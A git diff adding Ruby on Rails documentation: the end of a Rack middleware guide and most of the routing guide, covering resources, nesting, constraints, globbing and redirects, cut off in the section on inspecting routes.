+* Sets up the flash keys. Only available if <tt>config.action_controller.session_store</tt> is set to a value.
+
+ *+ActionDispatch::ParamsParser+*
+* Parses out parameters from the request into <tt>params</tt>.
+
+ *+ActionDispatch::Head+*
+* Converts HEAD requests to +GET+ requests and serves them as so.
+
+ *+Rack::ConditionalGet+*
+* Adds support for "Conditional +GET+" so that server responds with nothing if page wasn't changed.
+
+ *+Rack::ETag+*
+* Adds ETag header on all String bodies. ETags are used to validate cache.
+
+ *+ActionDispatch::BestStandardsSupport+*
+* Enables “best standards support” so that IE8 renders some elements correctly.
+
+TIP: It's possible to use any of the above middlewares in your custom Rack stack.
+
+h4. Using Rack Builder
+
+The following shows how to replace use +Rack::Builder+ instead of the Rails supplied +MiddlewareStack+.
+
+<strong>Clear the existing Rails middleware stack</strong>
+
+<ruby>
+# config/application.rb
+config.middleware.clear
+</ruby>
+
+<br />
+<strong>Add a +config.ru+ file to +Rails.root+</strong>
+
+<ruby>
+# config.ru
+use MyOwnStackFromScratch
+run ApplicationName::Application
+</ruby>
+
+h3. Resources
+
+h4. Learning Rack
+
+* "Official Rack Website":http://rack.github.com
+* "Introducing Rack":http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html
+* "Ruby on Rack #1 - Hello Rack!":http://m.onkey.org/ruby-on-rack-1-hello-rack
+* "Ruby on Rack #2 - The Builder":http://m.onkey.org/ruby-on-rack-2-the-builder
+
+h4. Understanding Middlewares
+
+* "Railscast on Rack Middlewares":http://railscasts.com/episodes/151-rack-middleware
diff --git a/guides/source/routing.textile b/guides/source/routing.textile
new file mode 100644
index 0000000000..bed7d03e06
--- /dev/null
+++ b/guides/source/routing.textile
@@ -0,0 +1,953 @@
+h2. Rails Routing from the Outside In
+
+This guide covers the user-facing features of Rails routing. By referring to this guide, you will be able to:
+
+* Understand the code in +routes.rb+
+* Construct your own routes, using either the preferred resourceful style or the <tt>match</tt> method
+* Identify what parameters to expect an action to receive
+* Automatically create paths and URLs using route helpers
+* Use advanced techniques such as constraints and Rack endpoints
+
+endprologue.
+
+h3. The Purpose of the Rails Router
+
+The Rails router recognizes URLs and dispatches them to a controller's action. It can also generate paths and URLs, avoiding the need to hardcode strings in your views.
+
+h4. Connecting URLs to Code
+
+When your Rails application receives an incoming request
+
+<plain>
+GET /patients/17
+</plain>
+
+it asks the router to match it to a controller action. If the first matching route is
+
+<ruby>
+get "/patients/:id" => "patients#show"
+</ruby>
+
+the request is dispatched to the +patients+ controller's +show+ action with <tt>{ :id => "17" }</tt> in +params+.
+
+h4. Generating Paths and URLs from Code
+
+You can also generate paths and URLs.  If the route above is modified to be
+
+<ruby>
+get "/patients/:id" => "patients#show", :as => "patient"
+</ruby>
+
+If your application contains this code:
+
+<ruby>
+@patient = Patient.find(17)
+</ruby>
+
+<erb>
+<%= link_to "Patient Record", patient_path(@patient) %>
+</erb>
+
+The router will generate the path +/patients/17+. This reduces the brittleness of your view and makes your code easier to understand. Note that the id does not need to be specified in the route helper.
+
+h3. Resource Routing: the Rails Default
+
+Resource routing allows you to quickly declare all of the common routes for a given resourceful controller. Instead of declaring separate routes for your +index+, +show+, +new+, +edit+, +create+, +update+ and +destroy+ actions, a resourceful route declares them in a single line of code.
+
+h4. Resources on the Web
+
+Browsers request pages from Rails by making a request for a URL using a specific HTTP method, such as +GET+, +POST+, +PATCH+, +PUT+ and +DELETE+. Each method is a request to perform an operation on the resource. A resource route maps a number of related requests to actions in a single controller.
+
+When your Rails application receives an incoming request for
+
+<plain>
+DELETE /photos/17
+</plain>
+
+it asks the router to map it to a controller action. If the first matching route is
+
+<ruby>
+resources :photos
+</ruby>
+
+Rails would dispatch that request to the +destroy+ method on the +photos+ controller with <tt>{ :id => "17" }</tt> in +params+.
+
+h4. CRUD, Verbs, and Actions
+
+In Rails, a resourceful route provides a mapping between HTTP verbs and URLs to controller actions. By convention, each action also maps to particular CRUD operations in a database. A single entry in the routing file, such as
+
+<ruby>
+resources :photos
+</ruby>
+
+creates seven different routes in your application, all mapping to the +Photos+ controller:
+
+|_. HTTP Verb |_.Path            |_.action |_.used for                                   |
+|GET          |/photos           |index    |display a list of all photos                 |
+|GET          |/photos/new       |new      |return an HTML form for creating a new photo |
+|POST         |/photos           |create   |create a new photo                           |
+|GET          |/photos/:id       |show     |display a specific photo                     |
+|GET          |/photos/:id/edit  |edit     |return an HTML form for editing a photo      |
+|PATCH/PUT    |/photos/:id       |update   |update a specific photo                      |
+|DELETE       |/photos/:id       |destroy  |delete a specific photo                      |
+
+NOTE: Rails routes are matched in the order they are specified, so if you have a +resources :photos+ above a +get 'photos/poll'+ the +show+ action's route for the +resources+ line will be matched before the +get+ line. To fix this, move the +get+ line *above* the +resources+ line so that it is matched first.
+
+h4. Paths and URLs
+
+Creating a resourceful route will also expose a number of helpers to the controllers in your application. In the case of +resources :photos+:
+
+* +photos_path+ returns +/photos+
+* +new_photo_path+ returns +/photos/new+
+* +edit_photo_path(:id)+ returns +/photos/:id/edit+ (for instance, +edit_photo_path(10)+ returns +/photos/10/edit+)
+* +photo_path(:id)+ returns +/photos/:id+ (for instance, +photo_path(10)+ returns +/photos/10+)
+
+Each of these helpers has a corresponding +_url+ helper (such as +photos_url+) which returns the same path prefixed with the current host, port and path prefix.
+
+NOTE: Because the router uses the HTTP verb and URL to match inbound requests, four URLs map to seven different actions.
+
+h4. Defining Multiple Resources at the Same Time
+
+If you need to create routes for more than one resource, you can save a bit of typing by defining them all with a single call to +resources+:
+
+<ruby>
+resources :photos, :books, :videos
+</ruby>
+
+This works exactly the same as
+
+<ruby>
+resources :photos
+resources :books
+resources :videos
+</ruby>
+
+h4. Singular Resources
+
+Sometimes, you have a resource that clients always look up without referencing an ID. For example, you would like +/profile+ to always show the profile of the currently logged in user. In this case, you can use a singular resource to map +/profile+ (rather than +/profile/:id+) to the +show+ action.
+
+<ruby>
+get "profile" => "users#show"
+</ruby>
+
+This resourceful route
+
+<ruby>
+resource :geocoder
+</ruby>
+
+creates six different routes in your application, all mapping to the +Geocoders+ controller:
+
+|_.HTTP Verb |_.Path         |_.action |_.used for                                    |
+|GET         |/geocoder/new  |new      |return an HTML form for creating the geocoder |
+|POST        |/geocoder      |create   |create the new geocoder                       |
+|GET         |/geocoder      |show     |display the one and only geocoder resource    |
+|GET         |/geocoder/edit |edit     |return an HTML form for editing the geocoder  |
+|PATCH/PUT   |/geocoder      |update   |update the one and only geocoder resource     |
+|DELETE      |/geocoder      |destroy  |delete the geocoder resource                  |
+
+NOTE: Because you might want to use the same controller for a singular route (+/account+) and a plural route (+/accounts/45+), singular resources map to plural controllers.
+
+A singular resourceful route generates these helpers:
+
+* +new_geocoder_path+ returns +/geocoder/new+
+* +edit_geocoder_path+ returns +/geocoder/edit+
+* +geocoder_path+ returns +/geocoder+
+
+As with plural resources, the same helpers ending in +_url+ will also include the host, port and path prefix.
+
+h4. Controller Namespaces and Routing
+
+You may wish to organize groups of controllers under a namespace. Most commonly, you might group a number of administrative controllers under an +Admin::+ namespace. You would place these controllers under the +app/controllers/admin+ directory, and you can group them together in your router:
+
+<ruby>
+namespace :admin do
+  resources :posts, :comments
+end
+</ruby>
+
+This will create a number of routes for each of the +posts+ and +comments+ controller. For +Admin::PostsController+, Rails will create:
+
+|_.HTTP Verb |_.Path                |_.action |_.named helper             |
+|GET         |/admin/posts          |index    | admin_posts_path          |
+|GET         |/admin/posts/new      |new      | new_admin_post_path       |
+|POST        |/admin/posts          |create   | admin_posts_path          |
+|GET         |/admin/posts/:id      |show     | admin_post_path(:id)      |
+|GET         |/admin/posts/:id/edit |edit     | edit_admin_post_path(:id) |
+|PATCH/PUT   |/admin/posts/:id      |update   | admin_post_path(:id)      |
+|DELETE      |/admin/posts/:id      |destroy  | admin_post_path(:id)      |
+
+If you want to route +/posts+ (without the prefix +/admin+) to +Admin::PostsController+, you could use
+
+<ruby>
+scope :module => "admin" do
+  resources :posts, :comments
+end
+</ruby>
+
+or, for a single case
+
+<ruby>
+resources :posts, :module => "admin"
+</ruby>
+
+If you want to route +/admin/posts+ to +PostsController+ (without the +Admin::+ module prefix), you could use
+
+<ruby>
+scope "/admin" do
+  resources :posts, :comments
+end
+</ruby>
+
+or, for a single case
+
+<ruby>
+resources :posts, :path => "/admin/posts"
+</ruby>
+
+In each of these cases, the named routes remain the same as if you did not use +scope+. In the last case, the following paths map to +PostsController+:
+
+|_.HTTP Verb |_.Path               |_.action |_.named helper      |
+|GET         |/admin/posts         |index    | posts_path         |
+|GET         |/admin/posts/new     |new      | new_post_path      |
+|POST        |/admin/posts         |create   | posts_path         |
+|GET         |/admin/posts/:id     |show     | post_path(:id)     |
+|GET         |/admin/posts/:id/edit|edit     | edit_post_path(:id)|
+|PATCH/PUT   |/admin/posts/:id     |update   | post_path(:id)     |
+|DELETE      |/admin/posts/:id     |destroy  | post_path(:id)     |
+
+h4. Nested Resources
+
+It's common to have resources that are logically children of other resources. For example, suppose your application includes these models:
+
+<ruby>
+class Magazine < ActiveRecord::Base
+  has_many :ads
+end
+
+class Ad < ActiveRecord::Base
+  belongs_to :magazine
+end
+</ruby>
+
+Nested routes allow you to capture this relationship in your routing. In this case, you could include this route declaration:
+
+<ruby>
+resources :magazines do
+  resources :ads
+end
+</ruby>
+
+In addition to the routes for magazines, this declaration will also route ads to an +AdsController+. The ad URLs require a magazine:
+
+|_.HTTP Verb |_.Path                               |_.action |_.used for                                                                 |
+|GET         |/magazines/:magazine_id/ads          |index    |display a list of all ads for a specific magazine                          |
+|GET         |/magazines/:magazine_id/ads/new      |new      |return an HTML form for creating a new ad belonging to a specific magazine |
+|POST        |/magazines/:magazine_id/ads          |create   |create a new ad belonging to a specific magazine                           |
+|GET         |/magazines/:magazine_id/ads/:id      |show     |display a specific ad belonging to a specific magazine                     |
+|GET         |/magazines/:magazine_id/ads/:id/edit |edit     |return an HTML form for editing an ad belonging to a specific magazine     |
+|PATCH/PUT   |/magazines/:magazine_id/ads/:id      |update   |update a specific ad belonging to a specific magazine                      |
+|DELETE      |/magazines/:magazine_id/ads/:id      |destroy  |delete a specific ad belonging to a specific magazine                      |
+
+This will also create routing helpers such as +magazine_ads_url+ and +edit_magazine_ad_path+. These helpers take an instance of Magazine as the first parameter (+magazine_ads_url(@magazine)+).
+
+h5. Limits to Nesting
+
+You can nest resources within other nested resources if you like. For example:
+
+<ruby>
+resources :publishers do
+  resources :magazines do
+    resources :photos
+  end
+end
+</ruby>
+
+Deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize paths such as
+
+<pre>
+/publishers/1/magazines/2/photos/3
+</pre>
+
+The corresponding route helper would be +publisher_magazine_photo_url+, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular "article":http://weblog.jamisbuck.org/2007/2/5/nesting-resources by Jamis Buck proposes a rule of thumb for good Rails design:
+
+TIP: _Resources should never be nested more than 1 level deep._
+
+h4. Routing concerns
+
+Routing Concerns allows you to declare common routes that can be reused inside others resources and routes.
+
+<ruby>
+concern :commentable do
+  resources :comments
+end
+
+concern :image_attachable do
+  resources :images, only: :index
+end
+</ruby>
+
+These concerns can be used in resources to avoid code duplication and share behavior across routes.
+
+<ruby>
+resources :messages, concerns: :commentable
+
+resources :posts, concerns: [:commentable, :image_attachable]
+</ruby>
+
+Also you can use them in any place that you want inside the routes, for example in a scope or namespace call:
+
+<ruby>
+namespace :posts do
+  concerns :commentable
+end
+</ruby>
+
+h4. Creating Paths and URLs From Objects
+
+In addition to using the routing helpers, Rails can also create paths and URLs from an array of parameters. For example, suppose you have this set of routes:
+
+<ruby>
+resources :magazines do
+  resources :ads
+end
+</ruby>
+
+When using +magazine_ad_path+, you can pass in instances of +Magazine+ and +Ad+ instead of the numeric IDs.
+
+<erb>
+<%= link_to "Ad details", magazine_ad_path(@magazine, @ad) %>
+</erb>
+
+You can also use +url_for+ with a set of objects, and Rails will automatically determine which route you want:
+
+<erb>
+<%= link_to "Ad details", url_for([@magazine, @ad]) %>
+</erb>
+
+In this case, Rails will see that +@magazine+ is a +Magazine+ and +@ad+ is an +Ad+ and will therefore use the +magazine_ad_path+ helper. In helpers like +link_to+, you can specify just the object in place of the full +url_for+ call:
+
+<erb>
+<%= link_to "Ad details", [@magazine, @ad] %>
+</erb>
+
+If you wanted to link to just a magazine:
+
+<erb>
+<%= link_to "Magazine details", @magazine %>
+</erb>
+
+For other actions, you just need to insert the action name as the first element of the array:
+
+<erb>
+<%= link_to "Edit Ad", [:edit, @magazine, @ad] %>
+</erb>
+
+This allows you to treat instances of your models as URLs, and is a key advantage to using the resourceful style.
+
+h4. Adding More RESTful Actions
+
+You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional routes that apply to the collection or individual members of the collection.
+
+h5. Adding Member Routes
+
+To add a member route, just add a +member+ block into the resource block:
+
+<ruby>
+resources :photos do
+  member do
+    get 'preview'
+  end
+end
+</ruby>
+
+This will recognize +/photos/1/preview+ with GET, and route to the +preview+ action of +PhotosController+. It will also create the +preview_photo_url+ and +preview_photo_path+ helpers.
+
+Within the block of member routes, each route name specifies the HTTP verb that it will recognize. You can use +get+, +patch+, +put+, +post+, or +delete+ here. If you don't have multiple +member+ routes, you can also pass +:on+ to a route, eliminating the block:
+
+<ruby>
+resources :photos do
+  get 'preview', :on => :member
+end
+</ruby>
+
+h5. Adding Collection Routes
+
+To add a route to the collection:
+
+<ruby>
+resources :photos do
+  collection do
+    get 'search'
+  end
+end
+</ruby>
+
+This will enable Rails to recognize paths such as +/photos/search+ with GET, and route to the +search+ action of +PhotosController+. It will also create the +search_photos_url+ and +search_photos_path+ route helpers.
+
+Just as with member routes, you can pass +:on+ to a route:
+
+<ruby>
+resources :photos do
+  get 'search', :on => :collection
+end
+</ruby>
+
+h5. A Note of Caution
+
+If you find yourself adding many extra actions to a resourceful route, it's time to stop and ask yourself whether you're disguising the presence of another resource.
+
+h3. Non-Resourceful Routes
+
+In addition to resource routing, Rails has powerful support for routing arbitrary URLs to actions. Here, you don't get groups of routes automatically generated by resourceful routing. Instead, you set up each route within your application separately.
+
+While you should usually use resourceful routing, there are still many places where the simpler routing is more appropriate. There's no need to try to shoehorn every last piece of your application into a resourceful framework if that's not a good fit.
+
+In particular, simple routing makes it very easy to map legacy URLs to new Rails actions.
+
+h4. Bound Parameters
+
+When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: +:controller+ maps to the name of a controller in your application, and +:action+ maps to the name of an action within that controller. For example, consider one of the default Rails routes:
+
+<ruby>
+get ':controller(/:action(/:id))'
+</ruby>
+
+If an incoming request of +/photos/show/1+ is processed by this route (because it hasn't matched any previous route in the file), then the result will be to invoke the +show+ action of the +PhotosController+, and to make the final parameter +"1"+ available as +params[:id]+. This route will also route the incoming request of +/photos+ to +PhotosController#index+, since +:action+ and +:id+ are optional parameters, denoted by parentheses.
+
+h4. Dynamic Segments
+
+You can set up as many dynamic segments within a regular route as you like. Anything other than +:controller+ or +:action+ will be available to the action as part of +params+. If you set up this route:
+
+<ruby>
+get ':controller/:action/:id/:user_id'
+</ruby>
+
+An incoming path of +/photos/show/1/2+ will be dispatched to the +show+ action of the +PhotosController+. +params[:id]+ will be +"1"+, and +params[:user_id]+ will be +"2"+.
+
+NOTE: You can't use +:namespace+ or +:module+ with a +:controller+ path segment. If you need to do this then use a constraint on :controller that matches the namespace you require. e.g:
+
+<ruby>
+get ':controller(/:action(/:id))', :controller => /admin\/[^\/]+/
+</ruby>
+
+TIP: By default dynamic segments don't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within a dynamic segment, add a constraint that overrides this – for example, +:id+ => /[^\/]+/ allows anything except a slash.
+
+h4. Static Segments
+
+You can specify static segments when creating a route:
+
+<ruby>
+get ':controller/:action/:id/with_user/:user_id'
+</ruby>
+
+This route would respond to paths such as +/photos/show/1/with_user/2+. In this case, +params+ would be <tt>{ :controller => "photos", :action => "show", :id => "1", :user_id => "2" }</tt>.
+
+h4. The Query String
+
+The +params+ will also include any parameters from the query string. For example, with this route:
+
+<ruby>
+get ':controller/:action/:id'
+</ruby>
+
+An incoming path of +/photos/show/1?user_id=2+ will be dispatched to the +show+ action of the +Photos+ controller. +params+ will be <tt>{ :controller => "photos", :action => "show", :id => "1", :user_id => "2" }</tt>.
+
+h4. Defining Defaults
+
+You do not need to explicitly use the +:controller+ and +:action+ symbols within a route. You can supply them as defaults:
+
+<ruby>
+get 'photos/:id' => 'photos#show'
+</ruby>
+
+With this route, Rails will match an incoming path of +/photos/12+ to the +show+ action of +PhotosController+.
+
+You can also define other defaults in a route by supplying a hash for the +:defaults+ option. This even applies to parameters that you do not specify as dynamic segments. For example:
+
+<ruby>
+get 'photos/:id' => 'photos#show', :defaults => { :format => 'jpg' }
+</ruby>
+
+Rails would match +photos/12+ to the +show+ action of +PhotosController+, and set +params[:format]+ to +"jpg"+.
+
+h4. Naming Routes
+
+You can specify a name for any route using the +:as+ option.
+
+<ruby>
+get 'exit' => 'sessions#destroy', :as => :logout
+</ruby>
+
+This will create +logout_path+ and +logout_url+ as named helpers in your application. Calling +logout_path+ will return +/exit+
+
+You can also use this to override routing methods defined by resources, like this:
+
+<ruby>
+get ':username', :to => "users#show", :as => :user
+</ruby>
+
+This will define a +user_path+ method that will be available in controllers, helpers and views that will go to a route such as +/bob+. Inside the +show+ action of +UsersController+, +params[:username]+ will contain the username for the user. Change +:username+ in the route definition if you do not want your parameter name to be +:username+.
+
+h4. HTTP Verb Constraints
+
+In general, you should use the +get+, +post+, +put+ and +delete+ methods to constrain a route to a particular verb. You can use the +match+ method with the +:via+ option to match multiple verbs at once:
+
+<ruby>
+match 'photos' => 'photos#show', :via => [:get, :post]
+</ruby>
+
+You can match all verbs to a particular route using +:via => :all+:
+
+<ruby>
+match 'photos' => 'photos#show', :via => :all
+</ruby>
+
+You should avoid routing all verbs to an action unless you have a good reason to, as routing both +GET+ requests and +POST+ requests to a single action has security implications.
+
+h4. Segment Constraints
+
+You can use the +:constraints+ option to enforce a format for a dynamic segment:
+
+<ruby>
+get 'photos/:id' => 'photos#show', :constraints => { :id => /[A-Z]\d{5}/ }
+</ruby>
+
+This route would match paths such as +/photos/A12345+. You can more succinctly express the same route this way:
+
+<ruby>
+get 'photos/:id' => 'photos#show', :id => /[A-Z]\d{5}/
+</ruby>
+
++:constraints+ takes regular expressions with the restriction that regexp anchors can't be used. For example, the following route will not work:
+
+<ruby>
+get '/:id' => 'posts#show', :constraints => {:id => /^\d/}
+</ruby>
+
+However, note that you don't need to use anchors because all routes are anchored at the start.
+
+For example, the following routes would allow for +posts+ with +to_param+ values like +1-hello-world+ that always begin with a number and +users+ with +to_param+ values like +david+ that never begin with a number to share the root namespace:
+
+<ruby>
+get '/:id' => 'posts#show', :constraints => { :id => /\d.+/ }
+get '/:username' => 'users#show'
+</ruby>
+
+h4. Request-Based Constraints
+
+You can also constrain a route based on any method on the <a href="action_controller_overview.html#the-request-object">Request</a> object that returns a +String+.
+
+You specify a request-based constraint the same way that you specify a segment constraint:
+
+<ruby>
+get "photos", :constraints => {:subdomain => "admin"}
+</ruby>
+
+You can also specify constraints in a block form:
+
+<ruby>
+namespace :admin do
+  constraints :subdomain => "admin" do
+    resources :photos
+  end
+end
+</ruby>
+
+h4. Advanced Constraints
+
+If you have a more advanced constraint, you can provide an object that responds to +matches?+ that Rails should use. Let's say you wanted to route all users on a blacklist to the +BlacklistController+. You could do:
+
+<ruby>
+class BlacklistConstraint
+  def initialize
+    @ips = Blacklist.retrieve_ips
+  end
+
+  def matches?(request)
+    @ips.include?(request.remote_ip)
+  end
+end
+
+TwitterClone::Application.routes.draw do
+  get "*path" => "blacklist#index",
+    :constraints => BlacklistConstraint.new
+end
+</ruby>
+
+You can also specify constraints as a lambda:
+
+<ruby>
+TwitterClone::Application.routes.draw do
+  get "*path" => "blacklist#index",
+    :constraints => lambda { |request| Blacklist.retrieve_ips.include?(request.remote_ip) }
+end
+</ruby>
+
+Both the +matches?+ method and the lambda gets the +request+ object as an argument.
+
+h4. Route Globbing
+
+Route globbing is a way to specify that a particular parameter should be matched to all the remaining parts of a route. For example
+
+<ruby>
+get 'photos/*other' => 'photos#unknown'
+</ruby>
+
+This route would match +photos/12+ or +/photos/long/path/to/12+, setting +params[:other]+ to +"12"+ or +"long/path/to/12"+.
+
+Wildcard segments can occur anywhere in a route. For example,
+
+<ruby>
+get 'books/*section/:title' => 'books#show'
+</ruby>
+
+would match +books/some/section/last-words-a-memoir+ with +params[:section]+ equals +"some/section"+, and +params[:title]+ equals +"last-words-a-memoir"+.
+
+Technically a route can have even more than one wildcard segment. The matcher assigns segments to parameters in an intuitive way. For example,
+
+<ruby>
+get '*a/foo/*b' => 'test#index'
+</ruby>
+
+would match +zoo/woo/foo/bar/baz+ with +params[:a]+ equals +"zoo/woo"+, and +params[:b]+ equals +"bar/baz"+.
+
+NOTE: Starting from Rails 3.1, wildcard routes will always match the optional format segment by default. For example if you have this route:
+
+<ruby>
+get '*pages' => 'pages#show'
+</ruby>
+
+NOTE: By requesting +"/foo/bar.json"+, your +params[:pages]+ will be equals to +"foo/bar"+ with the request format of JSON. If you want the old 3.0.x behavior back, you could supply +:format => false+ like this:
+
+<ruby>
+get '*pages' => 'pages#show', :format => false
+</ruby>
+
+NOTE: If you want to make the format segment mandatory, so it cannot be omitted, you can supply +:format => true+ like this:
+
+<ruby>
+get '*pages' => 'pages#show', :format => true
+</ruby>
+
+h4. Redirection
+
+You can redirect any path to another path using the +redirect+ helper in your router:
+
+<ruby>
+get "/stories" => redirect("/posts")
+</ruby>
+
+You can also reuse dynamic segments from the match in the path to redirect to:
+
+<ruby>
+get "/stories/:name" => redirect("/posts/%{name}")
+</ruby>
+
+You can also provide a block to redirect, which receives the params and (optionally) the request object:
+
+<ruby>
+get "/stories/:name" => redirect {|params| "/posts/#{params[:name].pluralize}" }
+get "/stories" => redirect {|p, req| "/posts/#{req.subdomain}" }
+</ruby>
+
+Please note that this redirection is a 301 "Moved Permanently" redirect. Keep in mind that some web browsers or proxy servers will cache this type of redirect, making the old page inaccessible.
+
+In all of these cases, if you don't provide the leading host (+http://www.example.com+), Rails will take those details from the current request.
+
+h4. Routing to Rack Applications
+
+Instead of a String, like +"posts#index"+, which corresponds to the +index+ action in the +PostsController+, you can specify any <a href="rails_on_rack.html">Rack application</a> as the endpoint for a matcher.
+
+<ruby>
+match "/application.js" => Sprockets, :via => :all
+</ruby>
+
+As long as +Sprockets+ responds to +call+ and returns a <tt>[status, headers, body]</tt>, the router won't know the difference between the Rack application and an action. This is an appropriate use of +:via => :all+, as you will want to allow your Rack application to handle all verbs as it considers appropriate.
+
+NOTE: For the curious, +"posts#index"+ actually expands out to +PostsController.action(:index)+, which returns a valid Rack application.
+
+h4. Using +root+
+
+You can specify what Rails should route +"/"+ to with the +root+ method:
+
+<ruby>
+root :to => 'pages#main'
+root 'pages#main' # shortcut for the above
+</ruby>
+
+You should put the +root+ route at the top of the file, because it is the most popular route and should be matched first. You also need to delete the +public/index.html+ file for the root route to take effect.
+
+NOTE: The +root+ route only routes +GET+ requests to the action.
+
+h4. Unicode character routes
+
+You can specify unicode character routes directly. For example
+
+<ruby>
+match 'こんにちは' => 'welcome#index'
+</ruby>
+
+h3. Customizing Resourceful Routes
+
+While the default routes and helpers generated by +resources :posts+ will usually serve you well, you may want to customize them in some way. Rails allows you to customize virtually any generic part of the resourceful helpers.
+
+h4. Specifying a Controller to Use
+
+The +:controller+ option lets you explicitly specify a controller to use for the resource. For example:
+
+<ruby>
+resources :photos, :controller => "images"
+</ruby>
+
+will recognize incoming paths beginning with +/photos+ but route to the +Images+ controller:
+
+|_.HTTP Verb |_.Path           |_.action |_.named helper        |
+|GET         |/photos          |index    | photos_path          |
+|GET         |/photos/new      |new      | new_photo_path       |
+|POST        |/photos          |create   | photos_path          |
+|GET         |/photos/:id      |show     | photo_path(:id)      |
+|GET         |/photos/:id/edit |edit     | edit_photo_path(:id) |
+|PATCH/PUT   |/photos/:id      |update   | photo_path(:id)      |
+|DELETE      |/photos/:id      |destroy  | photo_path(:id)      |
+
+NOTE: Use +photos_path+, +new_photo_path+, etc. to generate paths for this resource.
+
+h4. Specifying Constraints
+
+You can use the +:constraints+ option to specify a required format on the implicit +id+. For example:
+
+<ruby>
+resources :photos, :constraints => {:id => /[A-Z][A-Z][0-9]+/}
+</ruby>
+
+This declaration constrains the +:id+ parameter to match the supplied regular expression. So, in this case, the router would no longer match +/photos/1+ to this route. Instead, +/photos/RR27+ would match.
+
+You can specify a single constraint to apply to a number of routes by using the block form:
+
+<ruby>
+constraints(:id => /[A-Z][A-Z][0-9]+/) do
+  resources :photos
+  resources :accounts
+end
+</ruby>
+
+NOTE: Of course, you can use the more advanced constraints available in non-resourceful routes in this context.
+
+TIP: By default the +:id+ parameter doesn't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within an +:id+ add a constraint which overrides this - for example +:id+ => /[^\/]+/ allows anything except a slash.
+
+h4. Overriding the Named Helpers
+
+The +:as+ option lets you override the normal naming for the named route helpers. For example:
+
+<ruby>
+resources :photos, :as => "images"
+</ruby>
+
+will recognize incoming paths beginning with +/photos+ and route the requests to +PhotosController+, but use the value of the :as option to name the helpers.
+
+|_.HTTP verb|_.Path            |_.action |_.named helper        |
+|GET        |/photos           |index    | images_path          |
+|GET        |/photos/new       |new      | new_image_path       |
+|POST       |/photos           |create   | images_path          |
+|GET        |/photos/:id       |show     | image_path(:id)      |
+|GET        |/photos/:id/edit  |edit     | edit_image_path(:id) |
+|PATCH/PUT  |/photos/:id       |update   | image_path(:id)      |
+|DELETE     |/photos/:id       |destroy  | image_path(:id)      |
+
+h4. Overriding the +new+ and +edit+ Segments
+
+The +:path_names+ option lets you override the automatically-generated "new" and "edit" segments in paths:
+
+<ruby>
+resources :photos, :path_names => { :new => 'make', :edit => 'change' }
+</ruby>
+
+This would cause the routing to recognize paths such as
+
+<plain>
+/photos/make
+/photos/1/change
+</plain>
+
+NOTE: The actual action names aren't changed by this option. The two paths shown would still route to the +new+ and +edit+ actions.
+
+TIP: If you find yourself wanting to change this option uniformly for all of your routes, you can use a scope.
+
+<ruby>
+scope :path_names => { :new => "make" } do
+  # rest of your routes
+end
+</ruby>
+
+h4. Prefixing the Named Route Helpers
+
+You can use the +:as+ option to prefix the named route helpers that Rails generates for a route. Use this option to prevent name collisions between routes using a path scope.
+
+<ruby>
+scope "admin" do
+  resources :photos, :as => "admin_photos"
+end
+
+resources :photos
+</ruby>
+
+This will provide route helpers such as +admin_photos_path+, +new_admin_photo_path+ etc.
+
+To prefix a group of route helpers, use +:as+ with +scope+:
+
+<ruby>
+scope "admin", :as => "admin" do
+  resources :photos, :accounts
+end
+
+resources :photos, :accounts
+</ruby>
+
+This will generate routes such as +admin_photos_path+ and +admin_accounts_path+ which map to +/admin/photos+ and +/admin/accounts+ respectively.
+
+NOTE: The +namespace+ scope will automatically add +:as+ as well as +:module+ and +:path+ prefixes.
+
+You can prefix routes with a named parameter also:
+
+<ruby>
+scope ":username" do
+  resources :posts
+end
+</ruby>
+
+This will provide you with URLs such as +/bob/posts/1+ and will allow you to reference the +username+ part of the path as +params[:username]+ in controllers, helpers and views.
+
+h4. Restricting the Routes Created
+
+By default, Rails creates routes for the seven default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the +:only+ and +:except+ options to fine-tune this behavior. The +:only+ option tells Rails to create only the specified routes:
+
+<ruby>
+resources :photos, :only => [:index, :show]
+</ruby>
+
+Now, a +GET+ request to +/photos+ would succeed, but a +POST+ request to +/photos+ (which would ordinarily be routed to the +create+ action) will fail.
+
+The +:except+ option specifies a route or list of routes that Rails should _not_ create:
+
+<ruby>
+resources :photos, :except => :destroy
+</ruby>
+
+In this case, Rails will create all of the normal routes except the route for +destroy+ (a +DELETE+ request to +/photos/:id+).
+
+TIP: If your application has many RESTful routes, using +:only+ and +:except+ to generate only the routes that you actually need can cut down on memory use and speed up the routing process.
+
+h4. Translated Paths
+
+Using +scope+, we can alter path names generated by resources:
+
+<ruby>
+scope(:path_names => { :new => "neu", :edit => "bearbeiten" }) do
+  resources :categories, :path => "kategorien"
+end
+</ruby>
+
+Rails now creates routes to the +CategoriesController+.
+
+|_.HTTP verb|_.Path                     |_.action |_.named helper           |
+|GET        |/kategorien                |index    | categories_path         |
+|GET        |/kategorien/neu            |new      | new_category_path       |
+|POST       |/kategorien                |create   | categories_path         |
+|GET        |/kategorien/:id            |show     | category_path(:id)      |
+|GET        |/kategorien/:id/bearbeiten |edit     | edit_category_path(:id) |
+|PATCH/PUT  |/kategorien/:id            |update   | category_path(:id)      |
+|DELETE     |/kategorien/:id            |destroy  | category_path(:id)      |
+
+h4. Overriding the Singular Form
+
+If you want to define the singular form of a resource, you should add additional rules to the +Inflector+.
+
+<ruby>
+ActiveSupport::Inflector.inflections do |inflect|
+  inflect.irregular 'tooth', 'teeth'
+end
+</ruby>
+
+h4(#nested-names). Using +:as+ in Nested Resources
+
+The +:as+ option overrides the automatically-generated name for the resource in nested route helpers. For example,
+
+<ruby>
+resources :magazines do
+  resources :ads, :as => 'periodical_ads'
+end
+</ruby>
+
+This will create routing helpers such as +magazine_periodical_ads_url+ and +edit_magazine_periodical_ad_path+.
+
+h3. Inspecting and Testing Routes
+
+Rails offers facilities for inspecting and testing your routes.
+
+h4. Seeing Existing Routes
+
+To get a complete list of the available routes in your application, visit +http://localhost:3000/rails/info/routes+ in your browser while your server is running in the *development* environment. You can also execute the +rake routes+ command in your terminal to produce the same output.
+
+Both methods will list all of your routes, in the same order that they appear in +routes.rb+. For each route, you'll see:
+
+* The route name (if any)
+* The HTTP verb used (if the route doesn't respond to all verbs)
+* The URL pattern to match
